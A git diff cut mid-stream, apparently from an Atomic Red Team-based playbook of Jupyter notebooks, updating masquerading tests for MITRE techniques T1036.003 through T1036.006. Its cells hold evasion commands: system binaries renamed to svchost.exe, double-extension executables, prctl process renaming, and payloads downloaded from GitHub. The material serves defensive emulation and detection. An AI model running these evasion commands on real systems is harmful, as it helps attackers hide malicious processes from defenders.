\n```cmd\ndel /Q /F %APPDATA%\\notepad.exe >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "73296175", + "id": "d0d76125", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.003 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "35e3e799", + "id": "59fa6950", + "metadata": {}, + "source": "### Atomic Test #4 - Masquerading - wscript.exe running as svchost.exe\nCopies wscript.exe, renames it, and launches it to masquerade as an instance of svchost.exe.\n\nUpon execution, no windows will remain open but wscript will have been renamed to svchost and ran out of the temp folder\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Wscript file to execute must exist on disk\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1036.003\\src\\T1036.003_masquerading.vbs\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1036.003\\src\\T1036.003_masquerading.vbs\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/src/T1036.003_masquerading.vbs\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1036.003\\src\\T1036.003_masquerading.vbs\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8c4f49be", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1036.003 -TestNumbers 4 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "923d7088", "metadata": {}, "source": [ - "### Atomic Test #4 - Masquerading - wscript.exe running as svchost.exe", - "Copies wscript.exe, renames it, and launches it to masquerade as an instance of svchost.exe.\n\nUpon execution, no windows will remain open but wscript will have been renamed to svchost and ran out of the temp folder\n", - "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\ncopy %SystemRoot%\\System32\\wscript.exe %APPDATA%\\svchost.exe /Y\ncmd.exe /c %APPDATA%\\svchost.exe /B\n```" + "```command_prompt\ncopy %SystemRoot%\\System32\\wscript.exe %APPDATA%\\svchost.exe /Y\ncmd.exe /c %APPDATA%\\svchost.exe \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1036.003\\src\\T1036.003_masquerading.vbs\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "2df9484d", + "id": "e7edd196", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.003 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "a712868e", + "id": "989f30fd", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel /Q /F %APPDATA%\\svchost.exe >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "600b1ee2", + "id": "783af528", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.003 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "d88022b8", + "id": "21e400db", "metadata": {}, "source": [ "### Atomic Test #5 - Masquerading - powershell.exe running as taskhostw.exe", @@ -163,107 +174,107 @@ { "cell_type": "code", "execution_count": null, - "id": "ad89edd6", + "id": "7e9c34ba", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.003 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "dc94be63", + "id": "159ccf11", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel /Q /F %APPDATA%\\taskhostw.exe >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4bbcd85a", + "id": "920320d6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.003 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "aebeec05", + "id": "0e40126e", "metadata": {}, - "source": "### Atomic Test #6 - Masquerading - non-windows exe running as windows exe\nCopies an exe, renames it as a windows exe, and launches it to masquerade as a real windows exe\n\nUpon successful execution, powershell will execute T1036.003.exe as svchost.exe from on a non-standard path.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Exe file to copy must exist on disk at specified location (#{inputfile})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1036.003\\bin\\T1036.003.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1036.003\\bin\\T1036.003.exe) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/bin/T1036.003.exe\" -OutFile \"PathToAtomicsFolder\\T1036.003\\bin\\T1036.003.exe\"\n\n```" + "source": "### Atomic Test #6 - Masquerading - non-windows exe running as windows exe\nCopies an exe, renames it as a windows exe, and launches it to masquerade as a real windows exe\n\nUpon successful execution, powershell will execute T1036.003.exe as svchost.exe from on a non-standard path.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Exe file to copy must exist on disk at specified location (#{inputfile})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1036.003\\bin\\T1036.003.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1036.003\\bin\\T1036.003.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/bin/T1036.003.exe\" -OutFile \"PathToAtomicsFolder\\T1036.003\\bin\\T1036.003.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "71f2d9e0", + "id": "47490645", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.003 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "072ceda9", + "id": "204c084c", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\ncopy PathToAtomicsFolder\\T1036.003\\bin\\T1036.003.exe ($env:TEMP + \"\\svchost.exe\")\n$myT1036_003 = (Start-Process -PassThru -FilePath ($env:TEMP + \"\\svchost.exe\")).Id\nStop-Process -ID $myT1036_003\n```" + "```powershell\ncopy \"PathToAtomicsFolder\\T1036.003\\bin\\T1036.003.exe\" ($env:TEMP + \"\\svchost.exe\")\ntry { $myT1036_003 = (Start-Process -PassThru -FilePath ($env:TEMP + \"\\svchost.exe\")).Id }\ncatch { $_; exit $_.Exception.HResult}\nStop-Process -ID $myT1036_003\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "cc831b96", + "id": "c8a4ee5e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.003 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "b7293440", + "id": "8264056d", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item ($env:TEMP + \"\\svchost.exe\") -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5007331d", + "id": "673b75d4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.003 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "2bb312ba", + "id": "28e6d028", "metadata": {}, "source": [ "### Atomic Test #7 - Masquerading - windows exe running as different windows exe", "Copies a windows exe, renames it as another windows exe, and launches it to masquerade as second windows exe\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\ncopy $env:ComSpec ($env:TEMP + \"\\svchost.exe\")\n$myT1036_003 = (Start-Process -PassThru -FilePath ($env:TEMP + \"\\svchost.exe\")).Id\nStop-Process -ID $myT1036_003\n```" + "```powershell\ncopy \"$env:ComSpec\" ($env:TEMP + \"\\svchost.exe\")\n$myT1036_003 = (Start-Process -PassThru -FilePath ($env:TEMP + \"\\svchost.exe\")).Id\nStop-Process -ID $myT1036_003\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "f0c193b6", + "id": "cde8edab", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.003 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "4c346d83", + "id": "19575e6b", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item ($env:TEMP + \"\\svchost.exe\") -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f4d8b8c8", + "id": "d264046c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.003 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "ea53f033", + "id": "6b5a2b74", "metadata": {}, "source": [ "### Atomic Test #8 - Malicious process Masquerading as LSM.exe", @@ -277,73 +288,73 @@ { "cell_type": "code", "execution_count": null, - "id": "0d8ca58f", + "id": "0462a0c6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.003 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "6a2bca77", + "id": "0e40d0ba", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel C:\\T1036.003.txt >nul 2>&1\ndel C:\\lsm.exe >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8111a42d", + "id": "cdc22562", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.003 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "b8e9acbb", + "id": "4ae59676", "metadata": {}, - "source": "### Atomic Test #9 - File Extension Masquerading\ndownload and execute a file masquerading as images or Office files. Upon execution 3 calc instances and 3 vbs windows will be launched.\n\ne.g SOME_LEGIT_NAME.[doc,docx,xls,xlsx,pdf,rtf,png,jpg,etc.].[exe,vbs,js,ps1,etc] (Quartelyreport.docx.exe)\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: File to copy must exist on disk at specified location (#{vbs_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.vbs) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.vbs) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/src/T1036.003_masquerading.vbs\" -OutFile \"PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.vbs\"\n\n```\n##### Description: File to copy must exist on disk at specified location (#{ps1_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.ps1) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.ps1) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/src/T1036.003_masquerading.ps1\" -OutFile \"PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.ps1\"\n\n```" + "source": "### Atomic Test #9 - File Extension Masquerading\ndownload and execute a file masquerading as images or Office files. Upon execution 3 calc instances and 3 vbs windows will be launched.\n\ne.g SOME_LEGIT_NAME.[doc,docx,xls,xlsx,pdf,rtf,png,jpg,etc.].[exe,vbs,js,ps1,etc] (Quartelyreport.docx.exe)\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: File to copy must exist on disk at specified location (#{vbs_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.vbs\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.vbs\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/src/T1036.003_masquerading.vbs\" -OutFile \"PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.vbs\"\n\n```\n##### Description: File to copy must exist on disk at specified location (#{ps1_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.ps1\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/src/T1036.003_masquerading.ps1\" -OutFile \"PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.ps1\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "05db2062", + "id": "4f14fdcc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.003 -TestNumbers 9 -GetPreReqs" }, { "cell_type": "markdown", - "id": "24fbe029", + "id": "d72d3479", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\ncopy C:\\Windows\\System32\\calc.exe %temp%\\T1036.003_masquerading.docx.exe /Y\ncopy C:\\Windows\\System32\\calc.exe %temp%\\T1036.003_masquerading.pdf.exe /Y\ncopy C:\\Windows\\System32\\calc.exe %temp%\\T1036.003_masquerading.ps1.exe /Y\ncopy PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.vbs %temp%\\T1036.003_masquerading.xls.vbs /Y\ncopy PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.vbs %temp%\\T1036.003_masquerading.xlsx.vbs /Y\ncopy PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.vbs %temp%\\T1036.003_masquerading.png.vbs /Y\ncopy PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.ps1 %temp%\\T1036.003_masquerading.doc.ps1 /Y\ncopy PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.ps1 %temp%\\T1036.003_masquerading.pdf.ps1 /Y\ncopy PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.ps1 %temp%\\T1036.003_masquerading.rtf.ps1 /Y\n%temp%\\T1036.003_masquerading.docx.exe\n%temp%\\T1036.003_masquerading.pdf.exe\n%temp%\\T1036.003_masquerading.ps1.exe\n%temp%\\T1036.003_masquerading.xls.vbs\n%temp%\\T1036.003_masquerading.xlsx.vbs\n%temp%\\T1036.003_masquerading.png.vbs\nC:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -File %temp%\\T1036.003_masquerading.doc.ps1\nC:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -File %temp%\\T1036.003_masquerading.pdf.ps1\nC:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -File %temp%\\T1036.003_masquerading.rtf.ps1\n```" + "```command_prompt\ncopy \"C:\\Windows\\System32\\calc.exe\" %temp%\\T1036.003_masquerading.docx.exe /Y\ncopy \"C:\\Windows\\System32\\calc.exe\" %temp%\\T1036.003_masquerading.pdf.exe /Y\ncopy \"C:\\Windows\\System32\\calc.exe\" %temp%\\T1036.003_masquerading.ps1.exe /Y\ncopy \"PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.vbs\" %temp%\\T1036.003_masquerading.xls.vbs /Y\ncopy \"PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.vbs\" %temp%\\T1036.003_masquerading.xlsx.vbs /Y\ncopy \"PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.vbs\" %temp%\\T1036.003_masquerading.png.vbs /Y\ncopy \"PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.ps1\" %temp%\\T1036.003_masquerading.doc.ps1 /Y\ncopy \"PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.ps1\" %temp%\\T1036.003_masquerading.pdf.ps1 /Y\ncopy \"PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.ps1\" %temp%\\T1036.003_masquerading.rtf.ps1 /Y\n%temp%\\T1036.003_masquerading.docx.exe\n%temp%\\T1036.003_masquerading.pdf.exe\n%temp%\\T1036.003_masquerading.ps1.exe\n%temp%\\T1036.003_masquerading.xls.vbs\n%temp%\\T1036.003_masquerading.xlsx.vbs\n%temp%\\T1036.003_masquerading.png.vbs\nC:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -File %temp%\\T1036.003_masquerading.doc.ps1\nC:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -File %temp%\\T1036.003_masquerading.pdf.ps1\nC:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -File %temp%\\T1036.003_masquerading.rtf.ps1\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "f9e771e8", + "id": "4e10fd1a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.003 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "2f4ce5a0", + "id": "fa0cb4fc", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel /f %temp%\\T1036.003_masquerading.docx.exe > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.pdf.exe > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.ps1.exe > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.xls.vbs > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.xlsx.vbs > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.png.vbs > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.doc.ps1 > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.pdf.ps1 > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.rtf.ps1 > nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "eca479d0", + "id": "40fe6273", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.003 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "d0bdb1bd", + "id": "c4c03fbc", "metadata": {}, "source": "## Detection\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)" } @@ -351,13 +362,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1036.004.ipynb b/playbook/tactics/defense-evasion/T1036.004.ipynb index df312414..aa689bc4 100644 --- a/playbook/tactics/defense-evasion/T1036.004.ipynb +++ b/playbook/tactics/defense-evasion/T1036.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "05416446", + "id": "2cac3883", "metadata": {}, "source": "# T1036.004 - Masquerade Task or Service\nAdversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.\n\nTasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)" }, { "cell_type": "markdown", - "id": "acea4e44", + "id": "282c11c6", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "e613dc53", + "id": "087d71e8", "metadata": {}, "source": [ "### Atomic Test #1 - Creating W32Time similar named service using schtasks", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "0dbadc0a", + "id": "121d53e8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "dda9a3ac", + "id": "fe97ccf1", "metadata": {}, "source": "#### Cleanup: \n```cmd\nschtasks /tn win32times /delete /f\n```" }, { "cell_type": "code", "execution_count": null, - "id": "25305162", + "id": "49d573c2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "82d28b00", + "id": "84759109", "metadata": {}, "source": [ "### Atomic Test #2 - Creating W32Time similar named service using sc", @@ -63,28 +63,73 @@ { "cell_type": "code", "execution_count": null, - "id": "6c4cc8a7", + "id": "d17cb638", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.004 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "0e96ceaa", + "id": "cd046bf6", "metadata": {}, "source": "#### Cleanup: \n```cmd\nsc delete win32times\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bd0f4858", + "id": "36d651f3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.004 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "b37c26cb", + "id": "d75c0b55", + "metadata": {}, + "source": "### Atomic Test #3 - linux rename /proc/pid/comm using prctl\nRuns a C program that calls prctl(PR_SET_NAME) to modify /proc/pid/comm value to \"totally_legit\". This will show up as process name in simple 'ps' listings.\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: #{exe_path} must be exist on system.\n\n##### Check Prereq Commands:\n```sh\nstat /tmp/T1036_004_prctl_rename\n\n```\n##### Get Prereq Commands:\n```sh\ncc -o /tmp/T1036_004_prctl_rename PathToAtomicsFolder/T1036.004/src/prctl_rename.c\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ac136f6c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1036.004 -TestNumbers 3 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "4e3966f3", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\n/tmp/T1036_004_prctl_rename & ps\nTMP=`ps | grep totally_legit`\nif [ -z \"${TMP}\" ] ; then echo \"renamed process NOT FOUND in process list\" && exit 1; fi\nexit 0\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "b8ec885e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1036.004 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "5d01f1f3", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm -f /tmp/T1036_004_prctl_rename\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f37e756c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1036.004 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "297cb942", "metadata": {}, "source": "## Detection\nLook for changes to tasks and services that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks or services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks or services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." } @@ -92,13 +137,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1036.005.ipynb b/playbook/tactics/defense-evasion/T1036.005.ipynb index d976a016..2eaada58 100644 --- a/playbook/tactics/defense-evasion/T1036.005.ipynb +++ b/playbook/tactics/defense-evasion/T1036.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "6879fc64", + "id": "a843c5a0", "metadata": {}, "source": "# T1036.005 - Match Legitimate Name or Location\nAdversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.\n\nAdversaries may also use the same icon of the file they are trying to mimic." }, { "cell_type": "markdown", - "id": "c17cdf6a", + "id": "4c31fd6c", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "b1c1a6bd", + "id": "7363904e", "metadata": {}, "source": [ "### Atomic Test #1 - Execute a process from a directory masquerading as the current parent directory.", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "0865d70d", + "id": "5b3cdc10", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.005 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "b289bcd7", + "id": "79549987", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f $HOME/.../sh\nrmdir $HOME/.../\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5b1d905f", + "id": "fb331918", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.005 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "eb1bcccc", + "id": "750eb182", "metadata": {}, "source": [ "### Atomic Test #2 - Masquerade as a built-in system executable", @@ -62,28 +62,28 @@ { "cell_type": "code", "execution_count": null, - "id": "179cc0af", + "id": "baee1083", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.005 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "8651926b", + "id": "4a915310", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \"$Env:windir\\Temp\\svchost.exe\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c18fe7aa", + "id": "71e94903", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1036.005 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "dc68ebe7", + "id": "ae6475f0", "metadata": {}, "source": "## Detection\nCollect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nIn containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users." } @@ -91,13 +91,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1036.006.ipynb b/playbook/tactics/defense-evasion/T1036.006.ipynb index 513a9996..d35dd1ab 100644 --- a/playbook/tactics/defense-evasion/T1036.006.ipynb +++ b/playbook/tactics/defense-evasion/T1036.006.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "0365c23b", + "id": "94d0fe19", "metadata": {}, "source": "# T1036.006 - Space after Filename\nAdversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\n\nFor example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious." }, { "cell_type": "markdown", - "id": "4ff60cb9", + "id": "24d7a4e7", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "2df3cb1a", + "id": "cd5903b9", "metadata": {}, "source": [ "### Atomic Test #1 - Space After Filename (Manual)", @@ -26,41 +26,41 @@ }, { "cell_type": "markdown", - "id": "0d7d009e", + "id": "16692eb2", "metadata": {}, "source": [ "### Atomic Test #2 - Space After Filename", "Space after filename.\n", "**Supported Platforms:** macos, linux", - "#### Attack Commands: Run with `bash`\n", - "```bash\nmkdir -p /tmp/atomic-test-T1036.006\ncd /tmp/atomic-test-T1036.006\nmkdir -p 'testdirwithspaceend '\n/usr/bin/echo -e \"%d\\na\\n#!/usr/bin/perl\\nprint \\\"running T1035.006 with space after filename to masquerade init\\\\n\\\";\\nqx/cp \\/usr\\/bin\\/perl 'init '/;\\nqx/'.\\/init ' -e 'sleep 5'/;\\n.\\nwq\\n\" | ed 'testdirwithspaceend /init ' >/dev/null\nchmod +x 'testdirwithspaceend /init '\n'./testdirwithspaceend /init '\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nmkdir -p /tmp/atomic-test-T1036.006\ncd /tmp/atomic-test-T1036.006\nmkdir -p 'testdirwithspaceend '\n[ \"$(uname)\" = 'FreeBSD' ] && /bin/echo \"#\\!/bin/sh\" > \"testdirwithspaceend /init \" && echo 'echo 